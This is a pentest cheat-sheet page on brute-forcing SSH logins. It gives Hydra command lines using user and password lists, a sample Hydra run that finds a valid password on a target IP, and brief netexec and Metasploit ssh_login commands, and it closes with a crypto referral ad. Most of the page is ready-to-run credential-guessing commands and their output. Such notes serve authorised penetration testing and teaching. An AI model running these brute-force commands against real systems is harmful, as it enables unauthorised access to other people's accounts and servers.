> For the complete documentation index, see [llms.txt](https://0xss0rz.gitbook.io/0xss0rz/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xss0rz.gitbook.io/0xss0rz/pentest/brute-force/ssh-bruteforce.md).

# SSH Bruteforce

## Hydra

{% hint style="info" %}
Tips: Bruteforce FTP instead SSH if possible, it is faster
{% endhint %}

```
hydra -L user.list -P password.list ssh://[IP]
```

`-t`: number of thread

`hydra` will suggest that we add the `-t 4` flag for a max number of parallel attempts, as many `SSH` limit the number of parallel connections and drop other connections, resulting in many of our attempts being dropped

```shell-session
hydra -L bill.txt -P william.txt -u -f ssh://178.35.49.134:22 -t 4
```

```shell-session
$ hydra -L user.list -P password.list ssh://10.129.42.197

Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-01-10 15:03:51
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 25 login tries (l:5/p:5), ~2 tries per task
[DATA] attacking ssh://10.129.42.197:22/
[22][ssh] host: 10.129.42.197   login: user   password: password
1 of 1 target successfully completed, 1 valid password found
```

### Nmap - see [SSH (22)](/0xss0rz/pentest/protocols/ssh-22.md)

### [Netexec - CME](/0xss0rz/pentest/tools/netexec-cme.md) 

```
nxc ssh 10.129.245.201 -u sam -p mut_password.list
```

### [Metasploit](/0xss0rz/pentest/tools/metasploit.md)

```
msf6 auxiliary(scanner/ssh/ssh_login) >
```

## Kraken

{% content-ref url="/pages/ycSIBZX5i4tiDJAyh2fD" %}
[Kraken - All-in-One Tool](/0xss0rz/pentest/brute-force/kraken-all-in-one-tool.md)
{% endcontent-ref %}

## [Earn Free Crypto / BTC with Cointiply](https://cointiply.com/r/pkZxp)

[**Play Games Earn Cash Rewards**](https://cointiply.com/r/pkZxp)

<figure><img src="https://4199783661-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MFF3hT6DtJlHn9jAel9%2Fuploads%2FtT3srZzbUxV8iN6zjNrl%2Fimage.png?alt=media&amp;token=962e4759-e8b9-4e26-b998-6df524fdfaf8" alt=""><figcaption></figcaption></figure>